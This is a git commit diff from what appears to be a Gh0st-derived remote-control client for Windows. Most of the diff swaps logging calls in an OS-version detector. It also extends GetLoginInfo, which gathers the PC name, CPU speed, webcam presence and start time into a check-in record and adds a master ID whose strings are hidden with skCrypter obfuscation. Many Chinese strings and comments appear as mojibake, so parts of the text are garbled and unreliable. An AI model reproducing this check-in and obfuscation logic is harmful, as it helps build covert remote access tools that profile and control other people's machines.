Update client building feature / All in one

This commit is contained in:
yuanyuanxiang
2025-04-28 16:08:16 +08:00
parent 4783a43e9e
commit e31aafcdb5
23 changed files with 645 additions and 150 deletions

View File

@@ -6,6 +6,7 @@
#include <iomanip>
#include <ctime>
#include <NTSecAPI.h>
#include "common/skCrypter.h"
// by ChatGPT
bool IsWindows11() {
@@ -44,7 +45,7 @@ std::string getSystemName()
}
if (IsWindows11()) {
vname = "Windows 11";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
DWORD dwMajor, dwMinor, dwBuildNumber;
@@ -57,13 +58,13 @@ std::string getSystemName()
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
vname = "Windows 8.1";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
if (dwMajor == 10 && dwMinor == 0) //win 10
{
vname = "Windows 10";
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
return vname;
}
//<2F><><EFBFBD><EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -141,10 +142,10 @@ std::string getSystemName()
default:
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
}
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
}
else
printf_s("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
return vname;
}
@@ -178,7 +179,7 @@ std::string getProcessTime() {
return buffer;
}
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
{
LOGIN_INFOR LoginInfor;
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
@@ -194,12 +195,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
BOOL bWebCamIsExist = WebCamIsExist();
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
LoginInfor.dwSpeed = dwSpeed;
LoginInfor.dwCPUMHz = dwCPUMHz;
LoginInfor.bWebCamIsExist = bWebCamIsExist;
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType));
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
std::string masterHash(skCrypt(MASTER_HASH));
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
return LoginInfor;
}